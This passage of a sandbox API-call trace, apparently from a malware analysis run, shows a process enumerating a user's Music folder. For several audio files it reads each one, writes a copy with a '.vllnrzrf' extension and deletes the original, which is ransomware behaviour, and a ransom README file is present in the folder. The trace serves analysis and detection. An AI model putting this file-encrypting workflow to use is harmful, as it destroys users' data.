ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0107.363] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ce5eaf0 | out: lpFindFileData=0x1ce5eaf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc564da40, ftCreationTime.dwHighDateTime=0x1d5dfea, ftLastAccessTime.dwLowDateTime=0x95d1cb80, ftLastAccessTime.dwHighDateTime=0x1d5e1a7, ftLastWriteTime.dwLowDateTime=0x95d1cb80, ftLastWriteTime.dwHighDateTime=0x1d5e1a7, nFileSizeHigh=0x0, nFileSizeLow=0x20b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="fD-jF-jKR iI5skE0dQ.wav", cAlternateFileName="FD-JF-~1.WAV")) returned 1 [0107.363] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ce5eaf0 | out: lpFindFileData=0x1ce5eaf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa545fac0, ftCreationTime.dwHighDateTime=0x1d5dea3, ftLastAccessTime.dwLowDateTime=0xa6a9e9f0, ftLastAccessTime.dwHighDateTime=0x1d5d834, ftLastWriteTime.dwLowDateTime=0xa6a9e9f0, ftLastWriteTime.dwHighDateTime=0x1d5d834, nFileSizeHigh=0x0, nFileSizeLow=0xdc02, dwReserved0=0x0, dwReserved1=0x0, cFileName="fNp5e9XoCJQCq3S.m4a", cAlternateFileName="FNP5E9~1.M4A")) returned 1 [0107.363] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ce5eaf0 | out: lpFindFileData=0x1ce5eaf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x384026b0, ftCreationTime.dwHighDateTime=0x1d5d95a, ftLastAccessTime.dwLowDateTime=0xc2b6cf20, ftLastAccessTime.dwHighDateTime=0x1d5da35, ftLastWriteTime.dwLowDateTime=0xc2b6cf20, ftLastWriteTime.dwHighDateTime=0x1d5da35, nFileSizeHigh=0x0, nFileSizeLow=0x1ab9, dwReserved0=0x0, dwReserved1=0x0, cFileName="JsnmdwPHiYa8I.m4a", cAlternateFileName="JSNMDW~1.M4A")) returned 1 [0107.363] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ce5eaf0 | out: lpFindFileData=0x1ce5eaf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb558a950, ftCreationTime.dwHighDateTime=0x1d5e626, ftLastAccessTime.dwLowDateTime=0x5c774e80, ftLastAccessTime.dwHighDateTime=0x1d5db5a, ftLastWriteTime.dwLowDateTime=0x5c774e80, ftLastWriteTime.dwHighDateTime=0x1d5db5a, nFileSizeHigh=0x0, nFileSizeLow=0x12d8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="NMR0zs.mp3", cAlternateFileName="")) returned 1 [0107.364] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ce5eaf0 | out: lpFindFileData=0x1ce5eaf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b3830, ftCreationTime.dwHighDateTime=0x1d5dabd, ftLastAccessTime.dwLowDateTime=0x5a2d8680, ftLastAccessTime.dwHighDateTime=0x1d5e5d7, ftLastWriteTime.dwLowDateTime=0x5a2d8680, ftLastWriteTime.dwHighDateTime=0x1d5e5d7, nFileSizeHigh=0x0, nFileSizeLow=0x53e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="SBxmNq0i.wav", cAlternateFileName="")) returned 1 [0107.364] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ce5eaf0 | out: lpFindFileData=0x1ce5eaf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab3a21f0, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0xab3a21f0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xab3c8350, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x5f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="VLLNRZRF-README.txt", cAlternateFileName="VLLNRZ~1.TXT")) returned 1 [0107.364] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ce5eaf0 | out: lpFindFileData=0x1ce5eaf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0107.364] FindClose (in: hFindFile=0x1a578ba0 | out: hFindFile=0x1a578ba0) returned 1 [0107.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce5ed50) returned 1 [0107.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce5ed10) returned 1 [0107.366] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fD-jF-jKR iI5skE0dQ.wav", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fD-jF-jKR iI5skE0dQ.wav", lpFilePart=0x0) returned 0x3b [0107.366] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fD-jF-jKR iI5skE0dQ.wav", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fD-jF-jKR iI5skE0dQ.wav", lpFilePart=0x0) returned 0x3b [0107.366] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fD-jF-jKR iI5skE0dQ.wav", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fD-jF-jKR iI5skE0dQ.wav", lpFilePart=0x0) returned 0x3b [0107.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce5ecf0) returned 1 [0107.366] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fD-jF-jKR iI5skE0dQ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fd-jf-jkr ii5ske0dq.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x518 [0107.367] GetFileType (hFile=0x518) returned 0x1 [0107.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce5ec60) returned 1 [0107.367] GetFileType (hFile=0x518) returned 0x1 [0107.367] GetFileSize (in: hFile=0x518, lpFileSizeHigh=0x1ce5ee88 | out: lpFileSizeHigh=0x1ce5ee88*=0x0) returned 0x20b2 [0107.367] ReadFile (in: hFile=0x518, lpBuffer=0x222f348, nNumberOfBytesToRead=0x20b2, lpNumberOfBytesRead=0x1ce5edb8, lpOverlapped=0x0 | out: lpBuffer=0x222f348*, lpNumberOfBytesRead=0x1ce5edb8*=0x20b2, lpOverlapped=0x0) returned 1 [0107.368] CloseHandle (hObject=0x518) returned 1 [0107.375] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fD-jF-jKR iI5skE0dQ.wav.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fD-jF-jKR iI5skE0dQ.wav.vllnrzrf", lpFilePart=0x0) returned 0x44 [0107.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce5ecf0) returned 1 [0107.375] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fD-jF-jKR iI5skE0dQ.wav.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fd-jf-jkr ii5ske0dq.wav.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x518 [0107.376] GetFileType (hFile=0x518) returned 0x1 [0107.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce5ec60) returned 1 [0107.376] GetFileType (hFile=0x518) returned 0x1 [0107.376] WriteFile (in: hFile=0x518, lpBuffer=0x2241738*, nNumberOfBytesToWrite=0x22b2, lpNumberOfBytesWritten=0x1ce5ee18, lpOverlapped=0x0 | out: lpBuffer=0x2241738*, lpNumberOfBytesWritten=0x1ce5ee18*=0x22b2, lpOverlapped=0x0) returned 1 [0107.378] CloseHandle (hObject=0x518) returned 1 [0107.380] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fD-jF-jKR iI5skE0dQ.wav", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fD-jF-jKR iI5skE0dQ.wav", lpFilePart=0x0) returned 0x3b [0107.380] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fD-jF-jKR iI5skE0dQ.wav", nBufferLength=0x105, lpBuffer=0x1ce5e9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fD-jF-jKR iI5skE0dQ.wav", lpFilePart=0x0) returned 0x3b [0107.380] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fD-jF-jKR iI5skE0dQ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fd-jf-jkr ii5ske0dq.wav")) returned 1 [0107.382] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fNp5e9XoCJQCq3S.m4a", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fNp5e9XoCJQCq3S.m4a", lpFilePart=0x0) returned 0x37 [0107.382] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fNp5e9XoCJQCq3S.m4a", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fNp5e9XoCJQCq3S.m4a", lpFilePart=0x0) returned 0x37 [0107.382] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fNp5e9XoCJQCq3S.m4a", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fNp5e9XoCJQCq3S.m4a", lpFilePart=0x0) returned 0x37 [0107.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce5ecf0) returned 1 [0107.382] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fNp5e9XoCJQCq3S.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fnp5e9xocjqcq3s.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x518 [0107.383] GetFileType (hFile=0x518) returned 0x1 [0107.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce5ec60) returned 1 [0107.383] GetFileType (hFile=0x518) returned 0x1 [0107.383] GetFileSize (in: hFile=0x518, lpFileSizeHigh=0x1ce5ee88 | out: lpFileSizeHigh=0x1ce5ee88*=0x0) returned 0xdc02 [0107.383] ReadFile (in: hFile=0x518, lpBuffer=0x22446c0, nNumberOfBytesToRead=0xdc02, lpNumberOfBytesRead=0x1ce5edb8, lpOverlapped=0x0 | out: lpBuffer=0x22446c0*, lpNumberOfBytesRead=0x1ce5edb8*=0xdc02, lpOverlapped=0x0) returned 1 [0107.384] CloseHandle (hObject=0x518) returned 1 [0109.474] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fNp5e9XoCJQCq3S.m4a.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fNp5e9XoCJQCq3S.m4a.vllnrzrf", lpFilePart=0x0) returned 0x40 [0109.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce5ecf0) returned 1 [0109.474] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fNp5e9XoCJQCq3S.m4a.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fnp5e9xocjqcq3s.m4a.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x518 [0109.476] GetFileType (hFile=0x518) returned 0x1 [0109.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce5ec60) returned 1 [0109.476] GetFileType (hFile=0x518) returned 0x1 [0109.476] WriteFile (in: hFile=0x518, lpBuffer=0x22918d8*, nNumberOfBytesToWrite=0xde02, lpNumberOfBytesWritten=0x1ce5ee18, lpOverlapped=0x0 | out: lpBuffer=0x22918d8*, lpNumberOfBytesWritten=0x1ce5ee18*=0xde02, lpOverlapped=0x0) returned 1 [0109.478] CloseHandle (hObject=0x518) returned 1 [0109.480] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fNp5e9XoCJQCq3S.m4a", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fNp5e9XoCJQCq3S.m4a", lpFilePart=0x0) returned 0x37 [0109.480] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fNp5e9XoCJQCq3S.m4a", nBufferLength=0x105, lpBuffer=0x1ce5e9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fNp5e9XoCJQCq3S.m4a", lpFilePart=0x0) returned 0x37 [0109.480] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fNp5e9XoCJQCq3S.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fnp5e9xocjqcq3s.m4a")) returned 1 [0109.484] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JsnmdwPHiYa8I.m4a", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JsnmdwPHiYa8I.m4a", lpFilePart=0x0) returned 0x35 [0109.484] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JsnmdwPHiYa8I.m4a", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JsnmdwPHiYa8I.m4a", lpFilePart=0x0) returned 0x35 [0109.484] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JsnmdwPHiYa8I.m4a", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JsnmdwPHiYa8I.m4a", lpFilePart=0x0) returned 0x35 [0109.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce5ecf0) returned 1 [0109.484] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JsnmdwPHiYa8I.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jsnmdwphiya8i.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x518 [0109.484] GetFileType (hFile=0x518) returned 0x1 [0109.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce5ec60) returned 1 [0109.484] GetFileType (hFile=0x518) returned 0x1 [0109.484] GetFileSize (in: hFile=0x518, lpFileSizeHigh=0x1ce5ee88 | out: lpFileSizeHigh=0x1ce5ee88*=0x0) returned 0x1ab9 [0109.484] ReadFile (in: hFile=0x518, lpBuffer=0x22a0278, nNumberOfBytesToRead=0x1ab9, lpNumberOfBytesRead=0x1ce5edb8, lpOverlapped=0x0 | out: lpBuffer=0x22a0278*, lpNumberOfBytesRead=0x1ce5edb8*=0x1ab9, lpOverlapped=0x0) returned 1 [0109.485] CloseHandle (hObject=0x518) returned 1 [0109.492] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JsnmdwPHiYa8I.m4a.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JsnmdwPHiYa8I.m4a.vllnrzrf", lpFilePart=0x0) returned 0x3e [0109.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce5ecf0) returned 1 [0109.492] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JsnmdwPHiYa8I.m4a.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jsnmdwphiya8i.m4a.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x518 [0109.493] GetFileType (hFile=0x518) returned 0x1 [0109.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce5ec60) returned 1 [0109.493] GetFileType (hFile=0x518) returned 0x1 [0109.493] WriteFile (in: hFile=0x518, lpBuffer=0x22afa40*, nNumberOfBytesToWrite=0x1cb9, lpNumberOfBytesWritten=0x1ce5ee18, lpOverlapped=0x0 | out: lpBuffer=0x22afa40*, lpNumberOfBytesWritten=0x1ce5ee18*=0x1cb9, lpOverlapped=0x0) returned 1 [0109.494] CloseHandle (hObject=0x518) returned 1 [0109.497] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JsnmdwPHiYa8I.m4a", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JsnmdwPHiYa8I.m4a", lpFilePart=0x0) returned 0x35 [0109.497] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JsnmdwPHiYa8I.m4a", nBufferLength=0x105, lpBuffer=0x1ce5e9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JsnmdwPHiYa8I.m4a", lpFilePart=0x0) returned 0x35 [0109.497] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JsnmdwPHiYa8I.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jsnmdwphiya8i.m4a")) returned 1 [0109.501] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NMR0zs.mp3", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NMR0zs.mp3", lpFilePart=0x0) returned 0x2e [0109.501] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NMR0zs.mp3", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NMR0zs.mp3", lpFilePart=0x0) returned 0x2e [0109.501] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NMR0zs.mp3", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NMR0zs.mp3", lpFilePart=0x0) returned 0x2e [0109.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce5ecf0) returned 1 [0109.501] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NMR0zs.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nmr0zs.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x518 [0109.501] GetFileType (hFile=0x518) returned 0x1 [0109.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce5ec60) returned 1 [0109.501] GetFileType (hFile=0x518) returned 0x1 [0109.501] GetFileSize (in: hFile=0x518, lpFileSizeHigh=0x1ce5ee88 | out: lpFileSizeHigh=0x1ce5ee88*=0x0) returned 0x12d8d [0109.502] ReadFile (in: hFile=0x518, lpBuffer=0x22b2238, nNumberOfBytesToRead=0x12d8d, lpNumberOfBytesRead=0x1ce5edb8, lpOverlapped=0x0 | out: lpBuffer=0x22b2238*, lpNumberOfBytesRead=0x1ce5edb8*=0x12d8d, lpOverlapped=0x0) returned 1 [0109.503] CloseHandle (hObject=0x518) returned 1 [0109.604] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NMR0zs.mp3.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NMR0zs.mp3.vllnrzrf", lpFilePart=0x0) returned 0x37 [0109.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce5ecf0) returned 1 [0109.604] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NMR0zs.mp3.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nmr0zs.mp3.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x518 [0109.604] GetFileType (hFile=0x518) returned 0x1 [0109.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce5ec60) returned 1 [0109.605] GetFileType (hFile=0x518) returned 0x1 [0109.605] WriteFile (in: hFile=0x518, lpBuffer=0x231aa78*, nNumberOfBytesToWrite=0x12f8d, lpNumberOfBytesWritten=0x1ce5ee18, lpOverlapped=0x0 | out: lpBuffer=0x231aa78*, lpNumberOfBytesWritten=0x1ce5ee18*=0x12f8d, lpOverlapped=0x0) returned 1 [0109.607] CloseHandle (hObject=0x518) returned 1 [0109.613] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NMR0zs.mp3", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NMR0zs.mp3", lpFilePart=0x0) returned 0x2e [0109.613] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NMR0zs.mp3", nBufferLength=0x105, lpBuffer=0x1ce5e9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NMR0zs.mp3", lpFilePart=0x0) returned 0x2e [0109.613] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NMR0zs.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nmr0zs.mp3")) returned 1 [0109.627] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SBxmNq0i.wav", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SBxmNq0i.wav", lpFilePart=0x0) returned 0x30 [0109.627] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SBxmNq0i.wav", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SBxmNq0i.wav", lpFilePart=0x0) returned 0x30 [0109.627] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SBxmNq0i.wav", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SBxmNq0i.wav", lpFilePart=0x0) returned 0x30 [0109.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce5ecf0) returned 1 [0109.627] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SBxmNq0i.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\sbxmnq0i.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x518 [0109.627] GetFileType (hFile=0x518) returned 0x1 [0109.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce5ec60) returned 1 [0109.627] GetFileType (hFile=0x518) returned 0x1 [0109.627] GetFileSize (in: hFile=0x518, lpFileSizeHigh=0x1ce5ee88 | out: lpFileSizeHigh=0x1ce5ee88*=0x0) returned 0x53e7 [0109.628] ReadFile (in: hFile=0x518, lpBuffer=0x232e528, nNumberOfBytesToRead=0x53e7, lpNumberOfBytesRead=0x1ce5edb8, lpOverlapped=0x0 | out: lpBuffer=0x232e528*, lpNumberOfBytesRead=0x1ce5edb8*=0x53e7, lpOverlapped=0x0) returned 1 [0109.629] CloseHandle (hObject=0x518) returned 1 [0109.638] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SBxmNq0i.wav.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SBxmNq0i.wav.vllnrzrf", lpFilePart=0x0) returned 0x39 [0109.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce5ecf0) returned 1 [0109.638] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SBxmNq0i.wav.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\sbxmnq0i.wav.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x518 [0109.638] GetFileType (hFile=0x518) returned 0x1 [0109.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce5ec60) returned 1 [0109.638] GetFileType (hFile=0x518) returned 0x1 [0109.638] WriteFile (in: hFile=0x518, lpBuffer=0x23582e0*, nNumberOfBytesToWrite=0x55e7, lpNumberOfBytesWritten=0x1ce5ee18, lpOverlapped=0x0 | out: lpBuffer=0x23582e0*, lpNumberOfBytesWritten=0x1ce5ee18*=0x55e7, lpOverlapped=0x0) returned 1 [0109.643] CloseHandle (hObject=0x518) returned 1 [0109.648] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SBxmNq0i.wav", nBufferLength=0x105, lpBuffer=0x1ce5e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SBxmNq0i.wav", lpFilePart=0x0) returned 0x30 [0109.648] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SBxmNq0i.wav", nBufferLength=0x105, lpBuffer=0x1ce5e9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SBxmNq0i.wav", lpFilePart=0x0) returned 0x30 [0109.648] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 